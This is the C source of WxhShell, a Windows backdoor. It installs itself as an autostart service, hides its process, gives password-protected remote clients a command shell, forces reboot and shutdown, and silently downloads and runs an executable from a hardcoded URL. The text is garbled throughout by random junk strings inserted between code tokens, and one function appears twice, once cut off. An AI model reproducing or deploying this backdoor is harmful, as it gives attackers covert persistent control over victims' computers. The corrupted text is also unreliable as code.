,"EnumProcessModules"); O'Vh{JHf g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +38Lojb} NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *pmoLiuB> @b4b{d5[ if (!NtQueryInformationProcess) return 0; 65 NWX8f} M,I68 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k:@a[qnY if(!hProcess) return 0; i_'|:Uy*F NWaI[P if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lrM.RM96 +*WUH513 CloseHandle(hProcess); QJb7U5:B+ d91I hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K#%O3RRs if(hProcess==NULL) return 0; i+kFL$N O(b"F?
w HMODULE hMod; 94S .9A char procName[255]; 17?NR\Q unsigned long cbNeeded; e-YGuWGN7 $yP'k&b! if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >^2ZM Ih9O Rp7 CloseHandle(hProcess); 1)nM#@%](h x0N-[//YV if(strstr(procName,"services")) return 1; // 以服务启动 e)fJd*P )m$1al return 0; // 注册表启动 i!/h3%= }
!;BZ# tF& HY@kw>I // 主模块 0jl:Yzo&\ int StartWxhshell(LPSTR lpCmdLine) OgzGkc@A { 0%(4G83gw SOCKET wsl; "RR./e)h BOOL val=TRUE; LrmtPnL int port=0; Y,<WX
v struct sockaddr_in door; |1\dCE03} 83p$!8]u if(wscfg.ws_autoins) Install(); soFvrl^Ql+ ^Y*`D_-G port=atoi(lpCmdLine); =B,_d0Id ?[*@T2Ck if(port<=0) port=wscfg.ws_port; V@5 4k*V ys~p( WSADATA data; [xp~@5r' if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [|m>vY! !<['iM if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iYmzk?U setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `
i^`Q door.sin_family = AF_INET; pX h^M{. door.sin_addr.s_addr = inet_addr("127.0.0.1"); qU
/Wg door.sin_port = htons(port); gzJ{Gau{) D{Jc+Q$ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z!t3xFN&/ closesocket(wsl); s1*WK&@ return 1; A<*tn?M] } gw}7%U`T9 OA8b_k~ if(listen(wsl,2) == INVALID_SOCKET) { XQ4^:3Yc closesocket(wsl); )oz-<zW return 1; n<"a+TTU }
m%[2x# Wxhshell(wsl); .ON$vn7 WSACleanup(); a\HtxR8L xVwi
}jtG| return 0; dM@k(9| Af!
W
K= } VHXR)} L}sm R, // 以NT服务方式启动 N%M>,wT VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;wYwiSVd { 3
v,ae7$U& DWORD status = 0; -^nQ^Td=j DWORD specificError = 0xfffffff; y0mg}N1 ]6c2[r?g{ serviceStatus.dwServiceType = SERVICE_WIN32; 4 *2>R8SX~ serviceStatus.dwCurrentState = SERVICE_START_PENDING; jJ{
w -$ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HU.6L'H* serviceStatus.dwWin32ExitCode = 0; MdTd$ 4J3 serviceStatus.dwServiceSpecificExitCode = 0; <xh'@592 serviceStatus.dwCheckPoint = 0; [2fiHE serviceStatus.dwWaitHint = 0; gV.Pg[[1 ^{]sD}Q" hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HI`A;G] if (hServiceStatusHandle==0) return; p=5H^E m1 KL_}:O68 status = GetLastError(); }mS0{rxD4 if (status!=NO_ERROR) y7L4jO9h { +M%2m3.Jo serviceStatus.dwCurrentState = SERVICE_STOPPED; $A!h=] serviceStatus.dwCheckPoint = 0; k~EPVJh" serviceStatus.dwWaitHint = 0; O=?X%m # serviceStatus.dwWin32ExitCode = status; s$y#Ufz serviceStatus.dwServiceSpecificExitCode = specificError; Oj|p`Dzh SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,8 NEnB return; 1R~WY'Ed } aiX;D/t? r#w_=h) serviceStatus.dwCurrentState = SERVICE_RUNNING; >mDubP serviceStatus.dwCheckPoint = 0; EF^=3 serviceStatus.dwWaitHint = 0; Ol5xyj if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EYD{8Fw- } /F9lW}pd jHw2Q8s|R // 处理NT服务事件,比如:启动、停止 ~ai'
M# VOID WINAPI NTServiceHandler(DWORD fdwControl) "^e?E:( 3 { pC.T)k switch(fdwControl) eu|q
{p { J#Ehx| case SERVICE_CONTROL_STOP: 1E_Ui1 [ serviceStatus.dwWin32ExitCode = 0; c89vx 9 serviceStatus.dwCurrentState = SERVICE_STOPPED; xi^e =:;` serviceStatus.dwCheckPoint = 0; [jn;|
3 serviceStatus.dwWaitHint = 0; cZT.vA# { {hP&P SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?v~3zHK } * CGdfdxW return; FAl 6 case SERVICE_CONTROL_PAUSE: "fJ|DE&@<i serviceStatus.dwCurrentState = SERVICE_PAUSED; \k-juF80 break; tBUQf*B case SERVICE_CONTROL_CONTINUE: Hu2g (! serviceStatus.dwCurrentState = SERVICE_RUNNING; ?bDae%>.d, break; V/%;:ul. case SERVICE_CONTROL_INTERROGATE: _VJwC| break; ZTC1t_ }; ;7*@Gf}R SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~o5iCt;w } / {~h?P} Z-!T(:E] // 标准应用程序主函数 o_m.MMEU int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4ux5G`oL { B;_3IHMO MCG~{#` // 获取操作系统版本 Xe+FMbBco OsIsNt=GetOsVer(); Pk_{{Z(1o GetModuleFileName(NULL,ExeFile,MAX_PATH); V3UGx'@^y l);8y5 // 从命令行安装 S6X<3L`FfH if(strpbrk(lpCmdLine,"iI")) Install(); uelTsn mj|9x1U) // 下载执行文件 =(\!,S' if(wscfg.ws_downexe) { A@'W $p?5r if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ibw;BU WinExec(wscfg.ws_filenam,SW_HIDE); >L4$DKO } bOKNWI _S1uJ~j;E if(!OsIsNt) { VNXVuM )c // 如果时win9x,隐藏进程并且设置为注册表启动 nP31jm+A HideProc(); j-|0&X1C StartWxhshell(lpCmdLine); '|T= } *^_!W'T{j else "ukbqdKD if(StartFromService()) e[!>ezaIY // 以服务方式启动 0yNlf-O StartServiceCtrlDispatcher(DispatchTable); (B#|3o else cf!R // 普通方式启动 c Zr4 StartWxhshell(lpCmdLine); Z.JTq~`I KZNyp%q return 0; /d'u1FnA= } s&</zU' =1capix 1r $0t
%}DE k3XtKPO =========================================== Pme?`YO$x VRt*!v<") &pz8vWCk ~]W8NaQB( xd@DN;e 0f1#TgX " XQ8Imkc A>puk2 s #include <stdio.h> h@d
m:=ul #include <string.h> jFfki.H #include <windows.h> H_FhHX.2( #include <winsock2.h> _T$\$v$ { #include <winsvc.h> X;NTz75 #include <urlmon.h> kz^G.5n U_No/$ b #pragma comment (lib, "Ws2_32.lib") M<Mr (z #pragma comment (lib, "urlmon.lib") |z%,W/Ef r "R\ #define MAX_USER 100 // 最大客户端连接数 icmDPq #define BUF_SOCK 200 // sock buffer Y$^\D'.k #define KEY_BUFF 255 // 输入 buffer '\Ub*m((1O 4SYN$?.Mp #define REBOOT 0 // 重启 51vK> #define SHUTDOWN 1 // 关机 ./d ( @@ EIRf6jL #define DEF_PORT 5000 // 监听端口 Gf?KpU LHb{9x #define REG_LEN 16 // 注册表键长度 x-<dJ}` #define SVC_LEN 80 // NT服务名长度 v6:DA#0 H &JKja}` // 从dll定义API _$0Ix6y, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5h1j.t! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }W<L;yD typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N5\<w> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LjH];=R vF,l?cU~ // wxhshell配置信息 AZa3!e/1 struct WSCFG { DQ)SMqOotw int ws_port; // 监听端口 1 wG1\9S char ws_passstr[REG_LEN]; // 口令 vl<J-+|0C int ws_autoins; // 安装标记, 1=yes 0=no TO.NCO\x char ws_regname[REG_LEN]; // 注册表键名 -n9e-0 char ws_svcname[REG_LEN]; // 服务名 AS7!FD6b char ws_svcdisp[SVC_LEN]; // 服务显示名 89paR[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 =T$E
lXwJ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vzw\f int ws_downexe; // 下载执行标记, 1=yes 0=no S;])Nt'X' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JG[+e*8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1jL?z6S GYYro&aq{ }; DB0xIP~i,? W{0:8_EI // default Wxhshell configuration ;Gi w7a) struct WSCFG wscfg={DEF_PORT, :.dQY=6I "xuhuanlingzhe", B$bsh. 1, ctZW7 "Wxhshell", 6"DvdJ0MB "Wxhshell", '/j`j>'!^ "WxhShell Service", ;[xDc>&("Q "Wrsky Windows CmdShell Service", @:[/uqL "Please Input Your Password: ", J=$v+8&. 1, qSQjAo4t@ "http://www.wrsky.com/wxhshell.exe", Cpj_mMtu "Wxhshell.exe" 8[DD=[& }; ,Xn%-OT VHJr+BQ1K/ // 消息定义模块 A$5T3j' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &~k/G char *msg_ws_prompt="\n\r? for help\n\r#>"; &pCKz[Yf+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9A6ly9DIS char *msg_ws_ext="\n\rExit."; C}!$'C| char *msg_ws_end="\n\rQuit."; GJ*AyYG char *msg_ws_boot="\n\rReboot..."; 0{j>u` char *msg_ws_poff="\n\rShutdown..."; Jjy}m0)#W_ char *msg_ws_down="\n\rSave to "; 97
1qr l/TH"z( char *msg_ws_err="\n\rErr!"; P$!Ht char *msg_ws_ok="\n\rOK!"; 2/;KZ+U& 5Zq- |"| char ExeFile[MAX_PATH]; A1:Fe9q int nUser = 0; /aK },+ HANDLE handles[MAX_USER]; >LW9$[H int OsIsNt; 9)=as/o ztTpMj SERVICE_STATUS serviceStatus; {}>"f]3 SERVICE_STATUS_HANDLE hServiceStatusHandle; m,*f6g E=LaPjEIj // 函数声明 fxc~5~$> int Install(void); ~:JKXa? int Uninstall(void); g'mkhF( int DownloadFile(char *sURL, SOCKET wsh); HVC\(h,)i int Boot(int flag); mX<D]Z< k void HideProc(void); ]qXfgc int GetOsVer(void); E[$['0 int Wxhshell(SOCKET wsl); z\;kjI void TalkWithClient(void *cs); %`` FIv15w int CmdShell(SOCKET sock); x{+rx. int StartFromService(void); \f+R! int StartWxhshell(LPSTR lpCmdLine); A?_2@6Y^ cW MZw|t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7C&`i}/t VOID WINAPI NTServiceHandler( DWORD fdwControl ); F2XXvxG uH]^/'8vBd // 数据结构和表定义 Ron^PvvY& SERVICE_TABLE_ENTRY DispatchTable[] = N'^ 0:zK: { A^g81s.5 {wscfg.ws_svcname, NTServiceMain}, hI?<F^b {NULL, NULL} /0(4wZe~? }; AjZT- Q0L Cu!4ha.e` // 自我安装 u0i
@. int Install(void) =r
GkM.^ { 8o~\L=
l char svExeFile[MAX_PATH]; y_J{+ HKEY key; 2Y$==j strcpy(svExeFile,ExeFile); "b2Mk-qP N["(ZSS // 如果是win9x系统,修改注册表设为自启动 gAR];(* if(!OsIsNt) { 6.ap^9AD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CNP?i(Rk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F*Qw% RegCloseKey(key); Ef7Kx49I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !rrjA$P<v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :Z&ipd!yY RegCloseKey(key); S~m*t i( return 0; ukri7 n* } SqEO
]~ } D:){T> } ZtIK"o-|! else { rvOR[T> 6#dx%TC // 如果是NT以上系统,安装为系统服务 .%D] z{'' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); smk0 *m4 if (schSCManager!=0) 0k3^+#J { i++ F&r[ SC_HANDLE schService = CreateService Av/|={i ( `GH6$\: schSCManager, )Q9J, wscfg.ws_svcname, KxiZx I wscfg.ws_svcdisp, igz&7U8gg SERVICE_ALL_ACCESS, g%^Zq" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Kz 'W
| SERVICE_AUTO_START, s;$
eq); SERVICE_ERROR_NORMAL, Z73 ysn} svExeFile, x37r{$2 NULL, `SOaQ|H
NULL, GVFD_;j' NULL, W*VQ"CW{^] NULL, !74*APPHR NULL -Xx,"[sN\w ); 'O2{0 if (schService!=0) -@AGQ+e { !07$aQYcd CloseServiceHandle(schService); wwE9|'Ok CloseServiceHandle(schSCManager); <o
p !dS strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E-n!3RQ(w strcat(svExeFile,wscfg.ws_svcname); cj5pI?@e) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @p}H@#/u\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A:k`Ykr[ RegCloseKey(key); 9KCnitU return 0; ]+,Z() } zoO>N'b3) } "<bL-k*H) CloseServiceHandle(schSCManager); ZH/|L?Q1U } qAkx52v6 } ZH.l^'(W $eI[3{}X return 1; "xYMv"X } W@/D2K( 4 YI,: // 自我卸载 3Qn! ` int Uninstall(void) &\K,kS [.r { <K|_M)/9 HKEY key; Cl i k i^="*t\i if(!OsIsNt) { )Z"7^i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9O P
d'f RegDeleteValue(key,wscfg.ws_regname); pcm| RegCloseKey(key); 67Ge}6*2pd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :P;#Y7}Y$ RegDeleteValue(key,wscfg.ws_regname); KmpX^Se[ RegCloseKey(key); '}LH,H:%G return 0; TY~0UU$ } A#LK2II^ } o y}( } c[J#Hc8; else { R4pbi= EtN"K-X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fM
\T^X if (schSCManager!=0) Je+L8TB { Ow+7o@$"/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =|
%:d:r if (schService!=0) |Q?IV5%$ { 1|q$Wn:* if(DeleteService(schService)!=0) { NoV)}fX$X8 CloseServiceHandle(schService); O*`] ]w] CloseServiceHandle(schSCManager); D42Bm&JocO return 0; 8^CL:8lI^\ } &C`t(e CloseServiceHandle(schService); @M?;~M?B]J } cX9
!a, CloseServiceHandle(schSCManager); 4
B"tz! } j7?53e } *[) b}? ts<5%{M( return 1; t"cGv32b } PeEC|&x CE=&ZHt9 // 从指定url下载文件 EC<g7_0F int DownloadFile(char *sURL, SOCKET wsh) f R$E*Jd { "7(2m HRESULT hr; iSCv/Gb:, char seps[]= "/"; }te\)
Yk.N char *token; Uf}s6# char *file; mJ2>#j;5f char myURL[MAX_PATH]; Y;O\ >o[ char myFILE[MAX_PATH]; N,0l5fD~T kAsYh4[ strcpy(myURL,sURL); f"\G"2C token=strtok(myURL,seps); (j@3=-%6 G while(token!=NULL) (C
dx7v2Nh { {*RyT.J file=token; .]SE>3 token=strtok(NULL,seps); l}:&} } TRW{`b[ 9D#"Ey GetCurrentDirectory(MAX_PATH,myFILE); V^Z"FwWk strcat(myFILE, "\\"); 6 9_etv strcat(myFILE, file); A.8{LY; send(wsh,myFILE,strlen(myFILE),0); hsr,a{B%$ send(wsh,"...",3,0); ..`J-k hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hK5BOq!y if(hr==S_OK) tgCEz% return 0; g
<S&sYF5 else L #c*) return 1; 1S/KT4 #EQwl6 } u/-ul `O4Ysk72x9 // 系统电源模块 puEuv6F int Boot(int flag) BQmHYar { CV&+^_j'k HANDLE hToken; s
~c_9,JK TOKEN_PRIVILEGES tkp; FRqJ#yd] gmtp/?>e if(OsIsNt) { Jn!-Wa, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f86h"#4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); = m]|C1x tkp.PrivilegeCount = 1; 5$9g4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0~
!).f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d~n|F|`: if(flag==REBOOT) { WsO'4~X9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E:'TZ4Z return 0; +ExXhT } }QrBN:a$( else { ~IrrX,mp: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L@xag-b
i return 0; ^oaFnzJdf } B7HNNX } W?is8r: else { /o%J /| if(flag==REBOOT) { ,v(K|P@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Awy-kou[C return 0; qYjR } GF]V$5.ps else { G>"=Af(t?Y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?XOl>IO return 0; &ig6\&1 } Vm\ly;v'R } QCjC|T9 5~)m6]-6 return 1; H809gm3(Z } %N``EnF2 6xI9%YDy // win9x进程隐藏模块 2UqLV^ZY void HideProc(void) EMK>7 aks { B.
'&[A "*E06=fiG HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YhQ;>Ko if ( hKernel != NULL ) {-?^j{O0. { Nmu;+{19M pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
J" :R,w` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KA^r,Iw FreeLibrary(hKernel); OAx5 LTd } `?@7T-v b/^i return; oZVq}}R } nKxu8YAJe YKCd:^u // 获取操作系统版本 :g@H=W int GetOsVer(void) ,gY bi-E { NHI(}Ea|] OSVERSIONINFO winfo; Js{X33^Ju winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KYe@2 6
GetVersionEx(&winfo); r5#8Vzr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z]VmTB return 1; +bO]9*g] else pCOtk'n return 0; {k:W?` } VSf<(udGr Ky:y1\K1^K // 客户端句柄模块 mQ~0cwo) int Wxhshell(SOCKET wsl) v>S[}du { VR:4|_o SOCKET wsh; xcf`i:\ struct sockaddr_in client; _6O\*|'6 DWORD myID; `Ckx~'1M: e$
pXnMx7 while(nUser<MAX_USER) LHJ}I5zv { i"4&UJu1; int nSize=sizeof(client); CSu}_$wC# wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QV&yVH=Xs if(wsh==INVALID_SOCKET) return 1; e#{,M8 ?7?hDw_Nk handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ih RWa|{I if(handles[nUser]==0) l:Hm|9UZ closesocket(wsh); .A6i?iROe else )7`2FLG nUser++; 3fdx&}v/ } -(ev68'}W WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YoU|)6Of ],.1=iY return 0; DAvF ND$= } ()cqax4 ON()2@Y4 // 关闭 socket ;&K
+x@ void CloseIt(SOCKET wsh) g+:Go9k!F { <r`^iR)% closesocket(wsh); JSf \ApX nUser--; B:?MMXB ExitThread(0); cUB+fH<B2 } >^odV
;^ [v%j? // 客户端请求句柄 m
N&G void TalkWithClient(void *cs) 655OL)|cD6 { IH2V.>h 3=@lJ?Ym SOCKET wsh=(SOCKET)cs; A
,$CYLj+ char pwd[SVC_LEN]; 16cc9%
char cmd[KEY_BUFF]; Qo%IZw$l char chr[1]; /[<1D|f% int i,j; F4R0A6HL "kdmqvTHK0 while (nUser < MAX_USER) { O5v)}4 ' 5F3,/r if(wscfg.ws_passstr) { KFuPgp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^F="'/Pq[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !XtZI3Xu //ZeroMemory(pwd,KEY_BUFF); &[Zg;r i=0; ;"R1>tw3) while(i<SVC_LEN) { K6BP~@H_D }M0GPpv // 设置超时 g]mR;T3 fd_set FdRead; rYn)E=FG/ struct timeval TimeOut; 8mh@C6U FD_ZERO(&FdRead); .,l4pA9v FD_SET(wsh,&FdRead); J]-z7<j'] TimeOut.tv_sec=8; B3';Tcs TimeOut.tv_usec=0; aS
$ J ` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qRbU@o.3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4DTT/ER'qA C{<dzooz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tu[I84 pwd=chr[0]; N"zg)MsX if(chr[0]==0xd || chr[0]==0xa) { r`OC5IoQ pwd=0; t(.jJ>|+* break; +qiI;C_P\ } s~tZN i++; 4))5l9kc. } t`!@E#VK :G8:b. // 如果是非法用户,关闭 socket a<W.}0ZY if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 04E
S>'@ } W>'KE:!sp 0Z&ua send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mr[+\
5 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OTmw/ #ug 4R&e5! while(1) { jiGXFM2 9Z^\b)x ZeroMemory(cmd,KEY_BUFF); "">{8 i%3q*:A]2 // 自动支持客户端 telnet标准 $a.,;: j=0; VTl\'>(Cl while(j<KEY_BUFF) { k"pN if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OBEHUJ5 cmd[j]=chr[0]; Bgf'Hm%r if(chr[0]==0xa || chr[0]==0xd) { g><itA? cmd[j]=0; xhw0YDGzf break; 3cSP1=$* } *Me&>"N" j++; m> YjV>5 } k8S`44vj Dwa.ZY}- // 下载文件 QZ2a1f'G if(strstr(cmd,"http://")) { F['%?+<3 send(wsh,msg_ws_down,strlen(msg_ws_down),0); |Ca
%dg9$@ if(DownloadFile(cmd,wsh)) +d'1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); nqC@dHP else j9g0k<eg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K4vOy_wT } iu.$P-s else { #8CeTR23cw i~i
?M) switch(cmd[0]) { 4sM9~zC5 +8Q5[lh2]j // 帮助 "Gc\"'^r case '?': { DPBWw[ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a2. @Zyz break; m_C#fR /I } \L:+k ` // 安装 Sh;Z\nj case 'i': { u_'XUJ32! if(Install()) 2=`}:&0l send(wsh,msg_ws_err,strlen(msg_ws_err),0); t+IrQf,P[ else W@p 27Tiq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dwbt^{N^ break; /kc@ELl
} fb_q2p}
G // 卸载 !9]q+XefJ case 'r': { :P?zy| aBi if(Uninstall()) V[^+lR send(wsh,msg_ws_err,strlen(msg_ws_err),0); !JnxNIr&i| else ewOe A| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \o<&s{6L break; ?O.'_YS } 8umW> // 显示 wxhshell 所在路径 (RafidiH case 'p': { abtYa char svExeFile[MAX_PATH]; byN4?3F strcpy(svExeFile,"\n\r"); Nc\jA= strcat(svExeFile,ExeFile); ;uyQ R8 send(wsh,svExeFile,strlen(svExeFile),0); kB]?95>Wx break; `^'0__<M } 3!Ca b/T // 重启 &2//\Qz case 'b': { dz,4);Mg send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TFYp=xK( if(Boot(REBOOT)) !~!\=etm send(wsh,msg_ws_err,strlen(msg_ws_err),0); U*cWNn:." else { kPezR:
31 closesocket(wsh); fK;I0J ExitThread(0); 4)].{Z4q } Y=(%t:#_ break; (5efNugc } #|^yWw^ // 关机 VdE$ig@ case 'd': { @q <d^]po send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); is6d:p if(Boot(SHUTDOWN)) LR%P\~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]~kgsI[E else { 9RmdQ]1n4 closesocket(wsh); K/|qn) ExitThread(0); hO..j } tvR|!N } break; TSKR~3D# } 4mwLlYZ // 获取shell }cd-BW case 's': { ROj9#: CmdShell(wsh); r`A|2(h5B closesocket(wsh); 4\iy{1{E,C ExitThread(0); a
@i?E0Fr break; O_^
uLp } ^)S<Ha // 退出 @i=_y+|d_ case 'x': { uE^5o\To send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oRQ(l I> CloseIt(wsh); g<s;uRA4O9 break; TykY> cl
} KYC<*1k // 离开 U{PFeR,Uk case 'q': { 8c' 5P send(wsh,msg_ws_end,strlen(msg_ws_end),0); )(W%Hmi closesocket(wsh); an,JV0 WSACleanup(); +{[E Ow exit(1); #waK^B)<a break; f (ug3(j } 0*50uK=5 } nAk;a|Q } 0wZAsG"Bg
S)W(@R+@4 // 提示信息 cW?~]E'< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qo])A6$IU } 3im2
`n } )mE67{YJh~ mL]5Tnc return;
41^
$ } VCc57Bo iuHs.k<z // shell模块句柄 V
u1|5 int CmdShell(SOCKET sock) d;E
(^l { ^=,N]
j STARTUPINFO si; L,*# ZeroMemory(&si,sizeof(si)); Dt
Ry%fA_ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i$dF0.}Q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b*dEX%H8sf PROCESS_INFORMATION ProcessInfo; Lo
uYY:Q char cmdline[]="cmd"; W0s3nio CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L]QBh\ return 0; -14~f)%NQ* } mmBZ}V+&= 0JX/@LNg0 // 自身启动模式 ^s6C']q *O int StartFromService(void) % QI6`@Y" { FXo{|z3 typedef struct *>J45U(6: { g <5G# DWORD ExitStatus; %nT & DWORD PebBaseAddress; YA*E93 J0 DWORD AffinityMask; G:Cgq\+R DWORD BasePriority;
!AFii:# ULONG UniqueProcessId; XDAwE ULONG InheritedFromUniqueProcessId; MB3
N3,yL } PROCESS_BASIC_INFORMATION; C.Re*;EI, a 8.Xy])! PROCNTQSIP NtQueryInformationProcess; q a}=p u\P)x~-TM static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y];@ M<<?e static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @j+X>TD sT+\
z HANDLE hProcess; ?J's>q^X PROCESS_BASIC_INFORMATION pbi; #u$ Z/, A^@,Ha
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GL8 N!, if(NULL == hInst ) return 0; mBWhC<kKs *D;VZs0O g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ng+Ge5C9 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]]lM) NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #Q$`3rr 5HMDug;
if (!NtQueryInformationProcess) return 0; b@yFqgJ_ ">rt *?^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V SUz+W if(!hProcess) return 0; W!4xE hP26 Bb1 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `%Uz0h F C;.+ kE CloseHandle(hProcess); <nE |Y@S 7T@"2WYat hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AAld2"r if(hProcess==NULL) return 0; ~[9(}UM aIABx!83> HMODULE hMod; v}-j ls char procName[255]; 6v9A7g;4. unsigned long cbNeeded; %QKRl5RM- Trwk9 + if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G?QU|<mj< /e4#DH CloseHandle(hProcess); 9G=ZB^ 